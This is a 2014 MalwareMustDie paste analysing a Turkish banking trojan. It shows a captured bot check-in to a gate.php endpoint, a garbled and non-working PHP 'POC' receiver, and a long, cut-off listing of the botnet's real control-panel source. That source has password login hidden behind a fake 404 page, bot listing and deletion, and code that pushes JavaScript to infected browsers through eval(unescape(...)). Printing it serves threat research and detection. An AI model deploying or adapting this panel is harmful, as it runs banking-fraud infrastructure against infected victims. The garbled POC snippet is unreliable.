SHARE
TWEET

Turkish Banking Trojan CNC Request Analysis

MalwareMustDie Mar 4th, 2014 352 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #MalwareMustDie
  2. #Turkish Banking Trojan Request Analysis
  3.  
  4. // ----------------------
  5. // Original request:
  6. // ----------------------
  7.  
  8.  
  9. GET /vss/ssl/gate.php?rnd=495595&data={"site":"kv","id":"BotId-undefined",
  10. "gget":["AvK1.rnd844166_3Dtrue_3B"],"gset":false,"lget":false,"lset":[["I
  11. nfo","ERROR"]],"log":[["Fail","_5B498_5D_20_5B_22Fail_22_2C_22undefined_2
  12. 2_2C_229_3A47_3A37_20AM_22_2C_22page_3A_28url_3Dfi le_3A///C_3A/Documents_
  13. 2520and_2520Settings/Administrator/Desktop/test.html_29_3B_20_22_5D_20"]],"
  14. msg":false,"data":false} HTTP/1.1
  15.  
  16.  
  17. // ----------------------
  18. // Beautified & cracks….
  19. // ----------------------
  20.  
  21. GET / vss / ssl / gate.php ? rnd = 495595 & data =
  22.  
  23.     {
  24.       "site" : "kv",
  25.       "id"   : "BotId-undefined",
  26.       "gget" : ["AvK1.rnd844166=true;"],
  27.       "gset" : false,
  28.       "lget" : false,
  29.       "lset" : [  ["Info", "ERROR"] ],
  30.  
  31.       "log"  :  [
  32.                  ["Fail",
  33.                   "[498_]
  34.  
  35.                  ["Fail",
  36.                   "undefined",
  37.                   "9:47:37 AM",
  38.                   "page:(url=file:///C:/Documents and Settings/Administrator/Desktop/test.html ); "]
  39.                  "]
  40.                ],
  41.     "msg"   : false,
  42.     "data"  : false
  43.    }
  44. HTTP / 1.1
  45.  
  46. // ----------------------
  47. // The grep points:
  48. // ----------------------
  49.  
  50. "gate.php?rnd="
  51.  
  52. // ----------------------
  53. // The POC for receiving...
  54. // ----------------------
  55.  
  56.  <?php
  57.  
  58. $id = $_GET['rnd'];
  59. $ip = $_SERVER['REMOTE_ADDR'];
  60. $ip[strlen($ip) - 1] = "x";
  61. $ip[strlen($ip) - 2] = "x";
  62. [...]
  63. $ip[strlen($ip) - n] = "x";
  64.  
  65. /* logic to get the array data */
  66.  
  67. $data = $text[array] = $_GET['data'];
  68.  
  69. /* Wrote those arrays in some vars */
  70.  
  71. $site = $_GET['site'];
  72. $id   = $_GET['id'];
  73. $gget = $_GET['gget'];
  74. $gset = $_GET['gset'];
  75. $lset = $_GET['lset'];
  76. $log = $text[$_GET['gget']array];
  77. $gset = $_GET['msg'];
  78.  
  79. /* error trapping */
  80.  
  81. ((strstr($msg, "/") === false) && (strstr($data, "/") === false)) or die('Fik!');
  82.  
  83.  
  84. /* in example some writing of the data etc...*/
  85.  
  86. $handle = fopen("tmp/{$id}_{$n}", 'w');
  87. fwrite($handle, $text);
  88. fclose($handle);
  89.  
  90. /* in example the processes of the data itself  */
  91.  
  92.  
  93. //file_put_contents();
  94. $i = 0;
  95. while (file_exists("tmp/{$id}_{$i}"))
  96.   $i++;
  97. if (--$i != $pn)
  98.   die();
  99. $s="";
  100. for ($i=0; $i<=$pn; $i++)
  101.     {
  102.         $s .= file_get_contents("tmp/{$id}_{$i}");
  103.         unlink("tmp/{$id}_{$i}");
  104.     }
  105. $handle = fopen("fin/{$ip}_{$id}", 'w');
  106. fwrite($handle, $s);
  107. fclose($handle);
  108.  
  109. ?>
  110.  
  111. // ----------------------
  112. // The searched result:
  113. // ----------------------
  114.  
  115.  
  116. <?php
  117.  
  118. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Подключение конфига
  119. include_once('config.php');
  120. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Подключение конфига
  121.  
  122.  
  123.  
  124.  
  125.  
  126. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Authorisation
  127. function Show404()
  128. {
  129.         $res = parse_url($_SERVER['REQUEST_URI']);
  130.         echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  131. <html><head><title>404 Not Found</title></head>
  132. <body><h1>Not Found</h1><p>The requested URL '.$res['path'].' was not found on this server.</p><hr><address>Apache/2.2.3 (CentOS) Server at '.$_SERVER['HTTP_HOST'].' Port 80</address></body></html>';
  133.         die();
  134. };
  135.  
  136. function ddf_testAccess($fsv_pass_s)
  137. {
  138.         if($fsv_pass_s==$GLOBALS['PASSWORD'])
  139.   {
  140.     return true;
  141.   }
  142.         else
  143.   {
  144.     return false;
  145.   };
  146. };
  147.  
  148. function ddf_authorisation()
  149. {
  150.         if(isset($_POST['password']))
  151.         {
  152.                 $fsv_pass_s = $_POST['password'];
  153.                 if(ddf_testAccess($fsv_pass_s))
  154.                 {
  155.       setcookie("master",md5($GLOBALS['PASSWORD']));
  156.       return true;
  157.     }
  158.                 else
  159.                 {
  160.       return false;
  161.     };
  162.         }
  163.         else
  164.         {
  165.                 if(@$_COOKIE['master']==md5($GLOBALS['PASSWORD']))
  166.     {
  167.       return true;
  168.     };
  169.         };
  170. };
  171.  
  172. function ddf_LoginForm()
  173. {
  174. ?>
  175. <HTML>
  176. <HEAD><meta http-equiv="Content-Type" content="text/html;charset=utf-8"><TITLE>CP Login</TITLE></HEAD>
  177. <STYLE>
  178.   body{color:#ffffff;background:url(?path=bg.gif) repeat #404040;font:bold 14px Verdana,Geneva,Arial;line-height:16px;}
  179.   input{margin:3px;color:#000000;font:Arial 14px bold;line-height:16px;border:solid 0px #000000}
  180.   .login_div{margin:50px;padding:20px;background-color:#383838; -webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;border:solid 0px #000000;}
  181.   .text_input{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}
  182.   .button_input{color:#FFFFFF;font:bold 12px Verdana,Geneva,Arial;background-color:#FF0000;padding:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}
  183. </STYLE>
  184. <BODY>
  185. <FORM method="post" action="">
  186. <div class="login_div">
  187. Password: <input class="text_input" name="password" type="password"> <input class="button_input" name="user" type="submit" value="Enter">
  188. </div>
  189. </FORM>
  190. </BODY>
  191. </HTML>
  192. <?php
  193. };
  194.  
  195. if(!ddf_authorisation())
  196. {
  197.   if(isset($_GET[$GLOBALS['LOGIN']]))
  198.   {
  199.     ddf_LoginForm();
  200.     exit();
  201.   }
  202.   else
  203.   {
  204.     Show404();
  205.   };
  206. };
  207. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Authorisation
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Функции
  218.  
  219. if(!function_exists('json_encode') || !function_exists('json_decode'))
  220. {
  221.   include_once($GLOBALS['CP']['PATH']['JSON.PHP']);
  222. };
  223.  
  224. function ddf_GetSitesDirsArray()
  225. {
  226.   $ddv_sitesdir_a = false;
  227.   if($ddv_handle_f=opendir('./'.$GLOBALS['CP']['PATH']['SITES']))
  228.   {
  229.     while(false !== ($ddv_dir_s=readdir($ddv_handle_f)))
  230.     {
  231.       if(strlen($ddv_dir_s.'')>0 && ($ddv_dir_s.'')!=='.' && ($ddv_dir_s.'')!=='..')$ddv_sitesdir_a[] = $ddv_dir_s;
  232.     };
  233.     closedir($ddv_handle_f);
  234.   };
  235.   return $ddv_sitesdir_a;
  236. };
  237.  
  238. function ddf_GetBotsArray($ddv_sitedir_s)
  239. {
  240.   $v_sitedbdirpath_s = './'.$GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s.'/'.$GLOBALS['CP']['PATH']['DB'];
  241.   $ddv_bots_a = array();
  242.   if($ddv_handle_f=opendir($v_sitedbdirpath_s))
  243.   {
  244.     while(false !== ($ddv_bot_s=readdir($ddv_handle_f)))
  245.     {
  246.       if(strstr($ddv_bot_s,'_var.txt')!==false)
  247.       {
  248.         $ddv_bots_a[] = str_replace('_var.txt','',$ddv_bot_s);
  249.       };
  250.     };
  251.     closedir($ddv_handle_f);
  252.   };
  253.   return $ddv_bots_a;
  254. };
  255.  
  256. //Разбить строку из var файла в массив
  257. function ddf_VarsFileDataToArray($ddv_data_s)
  258. {
  259.   $ddv_separator_a_s = $GLOBALS['CP']['SEPARATOR']['A'];
  260.   $ddv_separator_b_s = $GLOBALS['CP']['SEPARATOR']['B'];
  261.   $ddv_kayvalpairs_a = explode($ddv_separator_b_s,$ddv_data_s);
  262.   for($ddv_i=0; $ddv_i<count($ddv_kayvalpairs_a); $ddv_i++)
  263.   {
  264.     $ddv_kayvalpairs_a[$ddv_i] = explode($ddv_separator_a_s,$ddv_kayvalpairs_a[$ddv_i]);
  265.   };
  266.   return $ddv_kayvalpairs_a;
  267. };
  268.  
  269. //Разбить строку из log файла в массив
  270. function ddf_LogsFileDataToArray($ddv_data_s)
  271. {
  272.   $ddv_separator_a_s = $GLOBALS['CP']['SEPARATOR']['A'];
  273.   $ddv_separator_b_s = $GLOBALS['CP']['SEPARATOR']['B'];
  274.   $ddv_separator_c_s = $GLOBALS['CP']['SEPARATOR']['C'];
  275.   $ddv_kayvalpairs_a = explode($ddv_separator_c_s,$ddv_data_s);
  276.   for($ddv_i=0; $ddv_i<count($ddv_kayvalpairs_a); $ddv_i++)
  277.   {
  278.     $ddv_kayvalpairs_a[$ddv_i] = explode($ddv_separator_b_s,$ddv_kayvalpairs_a[$ddv_i]);
  279.     for($ddv_j=0; $ddv_j<count($ddv_kayvalpairs_a[$ddv_i]); $ddv_j++)
  280.     {
  281.       $ddv_kayvalpairs_a[$ddv_i][$ddv_j] = explode($ddv_separator_a_s,$ddv_kayvalpairs_a[$ddv_i][$ddv_j]);
  282.     };
  283.   };
  284.   return $ddv_kayvalpairs_a;
  285. };
  286.  
  287. function ddf_GetPathToGVarsFile($ddv_siteid_s)
  288. {
  289.   return $GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_siteid_s.'/gvars.txt';
  290. };
  291.  
  292. function ddf_GetPathToSiteImFile($ddv_siteid_s)
  293. {
  294.   return $GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_siteid_s.'/im.txt';
  295. };
  296.  
  297. function ddf_GetPathToLVarsFile($ddv_siteid_s,$ddv_botid_s)
  298. {
  299.   return $GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_siteid_s.'/'.$GLOBALS['CP']['PATH']['DB'].'/'.$ddv_botid_s.'_var.txt';
  300. };
  301.  
  302. function ddf_GetPathToLogVarsFile($ddv_siteid_s,$ddv_botid_s)
  303. {
  304.   return $GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_siteid_s.'/'.$GLOBALS['CP']['PATH']['DB'].'/'.$ddv_botid_s.'_log.txt';
  305. };
  306.  
  307. //Получить текущие значения глобальных переменных
  308. function ddf_GetGVars($ddv_siteid_s,$ddv_ggetvars_a,$ddv_gvars_a)
  309. {
  310.   $ddv_s = '';
  311.   foreach($ddv_ggetvars_a as $v)
  312.   {
  313.     if
  314.     (
  315.       isset($ddv_gvars_a[$v])
  316.       &&
  317.       is_array($ddv_gvars_a[$v])
  318.       &&
  319.       count($ddv_gvars_a[$v])>2
  320.       &&
  321.       strstr($ddv_gvars_a[$v][1],$GLOBALS['CP']['RIGHTS']['GREAD'])!==false
  322.     )
  323.     {
  324.       $ddv_s .= $ddv_gvars_a[$v][2];
  325.     };
  326.   };
  327.   if(strlen($ddv_s)>0)
  328.   {
  329.     echo "eval(unescape('".$ddv_s."'));";
  330.   };
  331. };
  332.  
  333. function ddf_GetSetVarsArr($ddv_s)
  334. {
  335.   if(!ddf_StringIsSet($ddv_s,1)){return array();};
  336.   $ddv_vars_a = array();
  337.   if(strstr($ddv_s,$GLOBALS['CP']['SEPARATOR']['B'])!==false)
  338.   {
  339.     $ddv_a = explode($GLOBALS['CP']['SEPARATOR']['B'],$ddv_s);
  340.     foreach($ddv_a as $v)
  341.     {
  342.       if(strstr($v,$GLOBALS['CP']['SEPARATOR']['A'])!==false)
  343.       {
  344.         $v = explode($GLOBALS['CP']['SEPARATOR']['A'],$v);
  345.         $ddv_n_s = $v[0];
  346.         $ddv_vars_a[$ddv_n_s] = $v;
  347.       };
  348.     };
  349.   }
  350.   else
  351.   if(strstr($ddv_s,$GLOBALS['CP']['SEPARATOR']['A'])!==false)
  352.   {
  353.     $ddv_a = explode($GLOBALS['CP']['SEPARATOR']['A'],$ddv_s);
  354.     $ddv_n_s = $ddv_a[0];
  355.     $ddv_vars_a[$ddv_n_s] = $ddv_a;
  356.   };
  357.   return $ddv_vars_a;
  358. };
  359.  
  360. function ddf_GVarsFileToArray($ddv_siteid_s)
  361. {
  362.   $ddv_path_s = ddf_GetPathToGVarsFile($ddv_siteid_s);
  363.   if(!file_exists($ddv_path_s)){return false;};
  364.   $ddv_gvars_s = file_get_contents($ddv_path_s);
  365.   $ddv_gvars_a = json_decode($ddv_gvars_s, true);
  366.   return $ddv_gvars_a;
  367. };
  368.  
  369. function ddf_StringIsSet($ddv_s,$ddv_minlen_i)
  370. {
  371.         if(isset($ddv_s) && is_string($ddv_s) && strlen($ddv_s)>=$ddv_minlen_i)
  372.         {
  373.                 return true;
  374.         }
  375.         else
  376.         {
  377.                 return false;
  378.         };
  379. };
  380. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Функции
  381.  
  382.  
  383.  
  384. ob_start();
  385.  
  386.  
  387.  
  388. // sites -------------------------------------------------------------------
  389. if(isset($_GET['sites']))
  390. {
  391. ?>
  392. <html>
  393. <head>
  394. <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
  395. <title></title>
  396. <style type="text/css">
  397. body{margin:0px;padding:10px;font:bold 12px Verdana,Arial;}
  398. .site_text{font:bold 16px Verdana,Arial;color:#8bb703;text-decoration:none;}
  399. .site_submit{font:bold 14px Verdana,Arial;color:#000000;text-decoration:none;}
  400. .site_a{font:bold 14px Verdana,Arial;color:#000000;text-decoration:underline;}
  401. .site_a:hover{font:bold 14px Verdana,Arial;color:#000000;text-decoration:none;}
  402.  
  403. .site_input{font:bold 14px Verdana,Arial;color:#000000;margin:5px;padding:0px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;width:100px;height:25px;}
  404. .site_button{font:normal 14px Verdana,Arial;color:#000000;margin:5px;padding:0px;}
  405.  
  406. .vardiv{margin:10px 0px 10px 0px;padding:10px;background:#f0d964;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;font:bold 14px Verdana,Arial;color:#000000;text-decoration:none;}
  407.  
  408. .title{margin:0px 10px 10px 0px;padding:0px;font:bold 16px Verdana,Arial;color:#000000;}
  409. </style>
  410. </head>
  411. <body>
  412. <div class="title">Sites:</div>
  413. <div class="vardiv">
  414. <?php
  415. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Выводим список сайтов
  416.   $ddv_sitesdirs_a = ddf_GetSitesDirsArray();
  417.   for($ddv_i=0; $ddv_i<count($ddv_sitesdirs_a); $ddv_i++)
  418.   {
  419.     echo
  420. <<<HTML
  421. <a class="site_a" href="?bots&sitedir={$ddv_sitesdirs_a[$ddv_i]}" target="bots">{$ddv_sitesdirs_a[$ddv_i]}</a><br>
  422. HTML;
  423.   };
  424. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Выводим список сайтов
  425. ?>
  426. </div>
  427. <?php
  428.  
  429.  
  430.  
  431. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Подключение модулей
  432.   $GLOBALS['IM_STATE'] = 2;
  433.   include($GLOBALS['IM_PHP_PATH']);
  434. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Подключение модулей
  435.  
  436.  
  437.  
  438. ?>
  439. <div class="title">Server Time:</div>
  440. <div class="vardiv">
  441. <?php echo date("H:i:s d.m.y"); ?>
  442. </div>
  443. </body>
  444. </html>
  445. <?php
  446. }
  447. else
  448. // sites -------------------------------------------------------------------
  449.  
  450.  
  451.  
  452. // bots -------------------------------------------------------------------
  453. if(isset($_GET['bots']))
  454. {
  455.  
  456. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Получаем переменные
  457.   if(isset($_GET['sitedir']))
  458.   {
  459.     $ddv_sitedir_s = $_GET['sitedir'];
  460.   }
  461.   else{die();};
  462.  
  463.   $ddv_sitepath_s = './'.$GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s;
  464.  
  465.   if(strlen($ddv_sitedir_s)>0 && file_exists($ddv_sitepath_s))
  466.   {
  467.     $ddv_dbdirpath_s = $ddv_sitepath_s.'/'.$GLOBALS['CP']['PATH']['DB'].'/';
  468.   }
  469.   else{die();};
  470.  
  471.   if( !file_exists(ddf_GetPathToGVarsFile($ddv_sitedir_s)) || !file_exists(ddf_GetPathToSiteImFile($ddv_sitedir_s)) || !file_exists($GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s.'/'.$GLOBALS['CP']['PATH']['DB']) )
  472.   {
  473.     die();
  474.   };
  475. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Получаем переменные
  476.  
  477. ?>
  478. <html>
  479. <head>
  480. <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
  481. <title></title>
  482. <style type="text/css">
  483. body{margin:0px;padding:10px;}
  484. h2{font:14px Verdana,Arial;color:#000000;margin:0px;padding:0px;}
  485. .title{margin:0px 0px 10px 0px;padding:0px;font:bold 16px Verdana,Arial;color:#000000;}
  486. .botdiv{margin:10px 0px 10px 0px;padding:10px;background:#a6e0ec;font:6px Verdana,Arial;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  487. .bot_a{margin:0px;padding:0px;font:bold 14px Verdana,Arial;color:#ffffff;text-decoration:underline;}
  488. .bot_a:hover{margin:0px;padding:0px;font:bold 14px Verdana,Arial;color:#ffffff;text-decoration:none;}
  489. .bot_white{font:14px Verdana,Arial;color:#ffffff;margin:0px;padding:0px;}
  490. </style>
  491. <script type="text/javascript">
  492. function ddf_SelectText(ddv_o)
  493. {
  494.   if(navigator.userAgent.indexOf('MSIE')!=-1)
  495.   {
  496.     var range = document.body.createTextRange();
  497.     var tab=ddv_o;
  498.     range.moveToElementText(tab);
  499.     range.select();
  500.   }
  501.   else
  502.   {
  503.     var selection = window.getSelection();
  504.     var range = document.createRange();
  505.     var tab = ddv_o;
  506.     range.selectNodeContents(tab);
  507.     selection.addRange(range);
  508.   };
  509. };
  510. </script>
  511. </head>
  512. <body>
  513. <?php
  514.  
  515. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Удаляем боты
  516.   if(isset($_GET['deletebot']))
  517.   {
  518.     $ddv_botid_s = $_GET['deletebot'];
  519.    
  520.     $ddv_botlogspath_s = ddf_GetPathToLogVarsFile($ddv_sitedir_s,$ddv_botid_s);
  521.     $ddv_botvarspath_s = ddf_GetPathToLVarsFile($ddv_sitedir_s,$ddv_botid_s);
  522.    
  523.     if(file_exists($ddv_botlogspath_s)) unlink($ddv_botlogspath_s);
  524.     if(file_exists($ddv_botvarspath_s)) unlink($ddv_botvarspath_s);
  525.   }
  526.   else
  527.   if(isset($_POST['deletebots']))
  528.   {
  529.     foreach($_POST as $k=>$v)
  530.     {
  531.       if(strstr($k,'bc')!==false)
  532.       {
  533.         $ddv_botid_s = $v;
  534.        
  535.         $ddv_botlogspath_s = ddf_GetPathToLogVarsFile($ddv_sitedir_s,$ddv_botid_s);
  536.         $ddv_botvarspath_s = ddf_GetPathToLVarsFile($ddv_sitedir_s,$ddv_botid_s);
  537.        
  538.         if(file_exists($ddv_botlogspath_s)) unlink($ddv_botlogspath_s);
  539.         if(file_exists($ddv_botvarspath_s)) unlink($ddv_botvarspath_s);
  540.       };
  541.     };
  542.   };
  543. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Удаляем боты
  544.  
  545.  
  546.  
  547. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Выводим управляющие элементы
  548.   echo
  549. <<<HTML
  550. <div class="title">Site: <span onclick="javascript:ddf_SelectText(this);">{$ddv_sitedir_s}</span></div>
  551. HTML;
  552.   echo
  553. <<<HTML
  554. <div class="botdiv">
  555. <a class="bot_a" title="hide" href="#" onclick="javascript: if(this.title=='hide'){ parent.document.getElementsByTagName('frameset')[1].rows='*,99%';this.title='show';}else{parent.document.getElementsByTagName('frameset')[1].rows='*,50%';this.title='hide';}; return false;">Show Hide Vars</a>
  556. </div>
  557. HTML;
  558.   echo
  559. <<<HTML
  560. <div class="botdiv">
  561. <a class="bot_a" href="?sitedir={$ddv_sitedir_s}&sitevars" target="botlogs">Global Vars</a>
  562. <span style="margin:0px 0px 0px 20px;"></span>
  563. <a class="bot_a" href="?sitedir={$ddv_sitedir_s}&siteim" target="botlogs">IM</a>
  564. </div>
  565. HTML;
  566. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Выводим управляющие элементы
  567.  
  568.  
  569.  
  570. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Подключение модулей
  571. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Подключение модулей
  572.  
  573.  
  574.  
  575. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Выводим список ботов
  576.  
  577.   //читаем в массив GVarsFile
  578.   $ddv_gvars_a = ddf_GVarsFileToArray($ddv_sitedir_s);
  579.  
  580.   //читаем в массив список ботов
  581.   $ddv_bots_a = ddf_GetBotsArray($ddv_sitedir_s);
  582.  
  583.   //читаем данные ботов в массив
  584.   $ddv_botsvars_a = array();
  585.   foreach($ddv_bots_a as $botname)
  586.   {
  587.     if(file_exists($ddv_dbdirpath_s.$botname.'_var.txt') && file_exists($ddv_dbdirpath_s.$botname.'_log.txt'))
  588.     {
  589.       $ddv_varsdatafromfile_s = file_get_contents($ddv_dbdirpath_s.$botname.'_var.txt');
  590.       $v_var_a = json_decode($ddv_varsdatafromfile_s, true);
  591.       if(isset($v_var_a[$GLOBALS['CP']['NAME']['DATE']]) && isset($v_var_a[$GLOBALS['CP']['NAME']['IP']]))
  592.       {
  593.         $ddv_t_i = filemtime($ddv_dbdirpath_s.$botname.'_log.txt');
  594.         $v_tmp_a = array();
  595.         $v_tmp_a['INDEX'] = $ddv_t_i;
  596.         $v_tmp_a[$GLOBALS['CP']['NAME']['ID']] = $botname;
  597.         $v_tmp_a[$GLOBALS['CP']['NAME']['DATE']] = date("H:i:s d.m.y",$ddv_t_i);
  598.         $v_tmp_a[$GLOBALS['CP']['NAME']['IP']] = $v_var_a[$GLOBALS['CP']['NAME']['IP']];
  599.        
  600.         foreach($v_var_a as $k=>$v)
  601.         {
  602.           if(isset($ddv_gvars_a[$k]) && is_array($ddv_gvars_a[$k]) && isset($ddv_gvars_a[$k][0]) && strstr($ddv_gvars_a[$k][0],$GLOBALS['CP']['RIGHTS']['SHOW'])!==false && isset($v))
  603.           {
  604.             $v_tmp_a[$k] = $v;
  605.           };
  606.         };
  607.        
  608.         $ddv_botsvars_a[] = $v_tmp_a;
  609.       };
  610.     };
  611.   };
  612.  
  613.   //сортируем элементы по дате изменения
  614.   rsort($ddv_botsvars_a);
  615.  
  616.   foreach($ddv_botsvars_a as $k=>$v)
  617.   {
  618.     array_shift($ddv_botsvars_a[$k]);
  619.   };
  620.  
  621.   $ddv_botsvars_s = json_encode($ddv_botsvars_a);
  622.  
  623.   //выводим боты и переменные
  624.   echo
  625. <<<HTML
  626. <div class="title">Bots:</div>
  627.  
  628. <form action="?sitedir=$ddv_sitedir_s&bots" onsubmit="if(confirm('Delete Bots?')){return true;}else{return false;};" method="POST">
  629.   <input type="hidden" name="deletebots" value="1">
  630.   <input type="submit" name="Delete Selected Bots" value="Delete Selected Bots">
  631.  
  632. <script type="text/javascript">
  633.  
  634. var v_content_o = $ddv_botsvars_s;
  635. var v_id_s = '{$GLOBALS['CP']['NAME']['ID']}';
  636.  
  637. for(var i=0; i<v_content_o.length; i++)
  638. {
  639.   document.write('<div class="botdiv">');
  640.  
  641.   for(var j in v_content_o[i])
  642.   {
  643.     document.write('<h2><span class="bot_white">'+unescape(j)+':</span> <span onclick="javascript:ddf_SelectText(this);">'+unescape(v_content_o[i][j])+'</span></h2>');
  644.   };
  645.  
  646.   document.write('<br><a class="bot_a" href="?sitedir=$ddv_sitedir_s&botvars&botid='+escape(v_content_o[i][v_id_s])+'" target="botvars">Local Vars</a><span style="margin:0px 0px 0px 20px;"></span><a class="bot_a" href="?sitedir=$ddv_sitedir_s&botlogs&botid='+escape(v_content_o[i][v_id_s])+'" target="botlogs">Show Logs</a><br><br><br><input type="checkbox" name="bc'+i+'" value="'+v_content_o[i][v_id_s]+'"><span style="margin:0px 0px 0px 10px;"></span><input type="button" value="   Select Bot   " onclick="javascript:var c=this.parentNode.getElementsByTagName(\'input\')[0]; if(c.checked){c.checked=false;}else{c.checked=true;};"><span style="margin:0px 0px 0px 10px;"></span><input type="button" value="Delete Bot" onclick="javascript:if(confirm(\'Delete Bot?\')){document.location=\'?sitedir=$ddv_sitedir_s&bots&deletebot='+escape(v_content_o[i][v_id_s])+'\';}else{return false;};"></div>');
  647. };
  648.  
  649. </script>
  650.  
  651. </form>
  652. HTML;
  653.  
  654. ?>
  655. </body>
  656. </html>
  657. <?php
  658.  
  659. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Выводим список ботов
  660.  
  661. }
  662. else
  663. // bots -------------------------------------------------------------------
  664.  
  665.  
  666.  
  667.  
  668. // botvars -------------------------------------------------------------------
  669. if(isset($_GET['botvars']) || isset($_POST['botvarsdata']))
  670. {
  671.  
  672. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Получаем переменные
  673.   if(isset($_GET['sitedir']))
  674.   {
  675.     $ddv_sitedir_s = $_GET['sitedir'];
  676.   }
  677.   else{die();};
  678.  
  679.   $ddv_sitepath_s = './'.$GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s;
  680.  
  681.   if(strlen($ddv_sitedir_s)>0 && file_exists($ddv_sitepath_s))
  682.   {
  683.     $ddv_dbdirpath_s = $ddv_sitepath_s.'/'.$GLOBALS['CP']['PATH']['DB'].'/';
  684.   }
  685.   else{die();};
  686.  
  687.   if( !file_exists(ddf_GetPathToGVarsFile($ddv_sitedir_s)) || !file_exists(ddf_GetPathToSiteImFile($ddv_sitedir_s)) || !file_exists($GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s.'/'.$GLOBALS['CP']['PATH']['DB']) )
  688.   {
  689.     die();
  690.   };
  691.  
  692.   if(isset($_GET['botid']))
  693.   {
  694.     $ddv_botid_s = $_GET['botid'];
  695.   }
  696.   else{die();};
  697.  
  698.   if( !file_exists($ddv_dbdirpath_s.$ddv_botid_s.'_var.txt') || !file_exists($ddv_dbdirpath_s.$ddv_botid_s.'_log.txt') )
  699.   {
  700.     die();
  701.   };
  702. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Получаем переменные
  703.  
  704. ?>
  705. <html>
  706. <head>
  707. <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
  708. <title></title>
  709. <style type="text/css">
  710.   body{margin:0px;padding:10px;}
  711.   h1{font:bold 16px Verdana,Arial;color:#000000;}
  712.   .var_text{margin:5px;font:14px Verdana,Arial;color:#000000;text-decoration:none;height:70px;width:200px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  713.   .varname{margin:0px;font:14px Verdana,Arial;color:#000000;text-decoration:none;height:20px;width:200px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  714.   .vardiv{margin:20px 0px 20px 0px;padding:10px;background:#d3d3d3;font:14px Verdana,Arial;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;display:block;}
  715.   .vartable{margin:0px;padding:0px;width:100%;border-collapse:collapse;}
  716.   .vartd11{margin:0px;padding:0px 10px 0px 0px;font:14px Verdana,Arial;width:90px;}
  717.   .vartd12{margin:0px;padding:0px 0px 0px 0px;font:14px Verdana,Arial;width:90px;}
  718.   .vartd21{margin:0px;padding:0px 10px 0px 0px;font:14px Verdana,Arial;}
  719.   .vartd22{margin:0px;padding:0px 0px 0px 0px;font:14px Verdana,Arial;}
  720.   .var_blue{font:14px Verdana,Arial;color:#000000;margin:0px 20px 0px 0px;padding:0px;}
  721.   .var_white{font:14px Verdana,Arial;color:#ffffff;margin:0px;padding:0px;}
  722.   .var_input{font:14px Verdana,Arial;color:#000000;margin:0px;padding:5px;border:solid 1px #d3d3d3;}
  723.   .var_button{font:14px Verdana,Arial;color:#000000;margin:0px;padding:0px;}
  724.   .site{font:14px Verdana,Arial;color:#8bb703;text-decoration:none;margin-left:20px;}
  725.  
  726.   .vars_submit{font:14px Verdana,Arial;color:#000000;text-decoration:none;}
  727.  
  728.   .select{margin:0px;padding:0px;font:14px Verdana,Arial;color:#ffffff;text-decoration:underline;border:solid 0px #000000;}
  729.   .select:hover{margin:0px;padding:0px;font:14px Verdana,Arial;color:#ffffff;text-decoration:none;border:solid 0px #000000;}
  730.  
  731.   .title{margin:10px 10px 10px 0px;padding:0px;font:bold 14px Verdana,Arial;color:#000000;}
  732. </style>
  733. <script type="text/javascript">
  734.   function ddf_SelectText(ddv_o)
  735.   {
  736.     if(navigator.userAgent.indexOf('MSIE')!=-1)
  737.     {
  738.       var range = document.body.createTextRange();
  739.       var tab=ddv_o;
  740.       range.moveToElementText(tab);
  741.       range.select();
  742.     }
  743.     else
  744.     {
  745.       var selection = window.getSelection();
  746.       var range = document.createRange();
  747.       var tab = ddv_o;
  748.       range.selectNodeContents(tab);
  749.       selection.addRange(range);
  750.     };
  751.   };
  752.  
  753.   function ddf_SetValueFromSelect(ddv_o)
  754.   {
